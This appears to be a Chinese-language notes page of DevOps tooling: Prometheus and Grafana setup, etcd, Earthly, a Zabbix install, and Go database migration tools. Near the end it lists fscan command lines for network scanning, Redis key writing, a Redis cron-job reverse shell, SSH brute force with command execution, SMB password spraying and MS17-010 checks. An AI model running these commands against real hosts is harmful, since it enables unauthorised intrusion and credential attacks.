node_load* : 系统负载
node_memory_* : 系统内存
node_network_* : 网络宽带
node_time_* : 当前系统时间
为了能够让Prometheus Server能够从当前node exporter获取到监控数据,这里需要修改Prometheus配置文件。
进入容器后,编辑/etc/prometheus/prometheus.yml并在scrape_configs节点下添加以下内容:
# 采集node exporter监控数据
- job_name: 'node'
static_configs:
- targets: ['localhost:9100']
重启容器。
注意如果用容器启动prometheus,配置target地址为localhost,将无法访问,可以改成将localhost替换为:docker.for.mac.localhost(mac)或docker.for.win.localhost(windows)
# 采集node exporter监控数据
- job_name: 'node'
static_configs:
- targets: ['docker.for.mac.localhost:9100']
访问http://localhost:9090/targets,可以看到如下结果
state 显示为up表示正常,down为异常。
http://localhost:9090/graph
docker run -d -p 3000:3000 grafana/grafana
http://localhost:3000 admin/admin
添加Prometheus数据源。
下载模板:https://grafana.com/grafana/dashboards/11074 导入
go metrics
https://github.com/arl/statsviz
数据可视化平台
https://github.com/grafana/grafana
https://github.com/percona/grafana-dashboards
etcd管理平台
https://github.com/tkestack/kstone
容器应用内核
https://github.com/google/gvisor
轻量级云原生 API 网关
https://github.com/Spacewalkio/Helmet
https://github.com/vladimirvivien/ktop
raft共识算法
https://github.com/hashicorp/raft
etcd
https://github.com/etcd-io/etcd
etcd
启动 2379 2380 端口
etcdctl put mykey "this is awesome"
etcdctl get mykey
etcd 集群
http://play.etcd.io/install
https://etcd.io/docs/v3.5/demo/
https://github.com/mattn/goreman
go install github.com/mattn/goreman@latest
goreman start
goreman -f ./Procfile.learner start
go get go.etcd.io/etcd/client/v3
docker
https://github.com/bcicen/ctop
https://github.com/anchore/syft
代码安全检查
https://github.com/XmirrorSecurity/OpenSCA-cli
是容器时代的构建自动化工具 https://mp.weixin.qq.com/s/xodAYw7GnvmnlnzXm1l6Sg
https://github.com/earthly/earthly
sudo /bin/sh -c 'wget https://github.com/earthly/earthly/releases/latest/download/earthly-linux-amd64 -O /usr/local/bin/earthly && chmod +x /usr/local/bin/earthly && /usr/local/bin/earthly bootstrap --with-autocomplete'
Earthfile
FROM golang:1.17-alpine
WORKDIR /go-example
build:
COPY main.go .
RUN go build -o build/go-example main.go
SAVE ARTIFACT build/go-example /go-example AS LOCAL build/go-example
docker:
COPY +build/go-example .
ENTRYPOINT ["/go-example/go-example"]
SAVE IMAGE go-example:latest
earthly +docker
brew install ctop
管理一切 docker 的懒惰方式
https://github.com/jesseduffield/lazydocker
https://github.com/containerd/cgroups
实时性能监控
https://github.com/grafana/grafana
https://github.com/prometheus/prometheus
https://github.com/netdata/netdata
https://github.com/grafana/loki
https://mp.weixin.qq.com/s/kQGFtFFG4fjWddCF-eJ6hw
https://github.com/sensu/sensu-go
https://github.com/thanos-io/thanos
https://github.com/zabbix/zabbix
https://mp.weixin.qq.com/s/std1jVuvTqWwMS0wXFB3dw
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
systemctl disable --now firewalld
rpm -Uvh https://mirrors.aliyun.com/zabbix/zabbix/5. 0 /rhel/7/x86_64/ zabbix-release-5. 0 -1.el7.noarch.rpm
sed -i 's#http://repo.zabbix.com#https://mirrors.aliyun.com/zabbix#' /etc/yum.repos.d/zabbix.repo
yum clean all
安装zabbix server和agent
yum install zabbix-server-mysql zabbix-agent -y
安装zabbix前端
yum install centos-release-scl -y
vi /etc/yum.repos.d/zabbix.repo
enabled = 1
yum install zabbix-web-mysql-scl zabbix-apache-conf-scl -y
安装mariadb数据库
yum install mariadb-server -y
systemctl enable --now mariadb
mysql_secure_installation
create database zabbix default character set utf8 COLLATE utf8_ bin ;
grant all privileges on zabbix.* to zabbix@localhost identified by " zabbix_pwd " ;
zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix
vi /etc/zabbix/zabbix_server.conf
DBPassword=password
vi /etc/opt/rh/rh-php72/php-fpm.d/zabbix.conf
php_value[date.timezone] = Asia/Shanghai
systemctl restart zabbix-server zabbix-agent httpd rh-php72-php-fpm
go get -u github.com/cosmtrek/air
air -c .air.toml
数据库迁移
https://github.com/compose/transporter
仅支持 mongodb 和 postgresql 适配器
transporter init [source adaptor name] [sink adaptor name]
https://github.com/golang-migrate/migrate
安装:
$ go get -u -d github.com/golang-migrate/migrate/cmd/migrate
键入命令创建迁移文件:
migrate create -ext sql -dir database/migrations -seq create_user
键入命令运行迁移:
migrate -database "mysql://user:pass@tcp(localhost:3600)/user" -path=database/migrations up
键入命令中断迁移:
migrate -database "mysql://user:pass@tcp(localhost:3600)/user" -path=database/migrations down
golang-migrate/migrate:https://github.com/golang-migrate/migrate
migrate -database 'postgres://postgres:mysecretpassword@192.168.10.212:5432/example?sslmode=disable' -path ./migrations up 1
migrate -database 'postgres://postgres:mysecretpassword@192.168.10.212:5432/example?sslmode=disable' -path ./migrations down
数据库迁移工具
https://github.com/pressly/goose
go install github.com/pressly/goose/v3/cmd/goose@latest
goose sqlite3 ./foo.db status
goose sqlite3 ./foo.db create init sql
goose sqlite3 ./foo.db create add_some_column sql
goose sqlite3 ./foo.db create fetch_user_data go
goose sqlite3 ./foo.db up
goose postgres "user=postgres password=postgres dbname=postgres sslmode=disable" status
goose mysql "user:password@/dbname?parseTime=true" status
goose redshift "postgres://user:password@qwerty.us-east-1.redshift.amazonaws.com:5439/db" status
goose tidb "user:password@/dbname?parseTime=true" status
goose mssql "sqlserver://user:password@dbname:1433?database=master" status
https://github.com/shadow1ng/fscan
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/16 (B段扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
xmind
https://github.com/jan-bar/xmind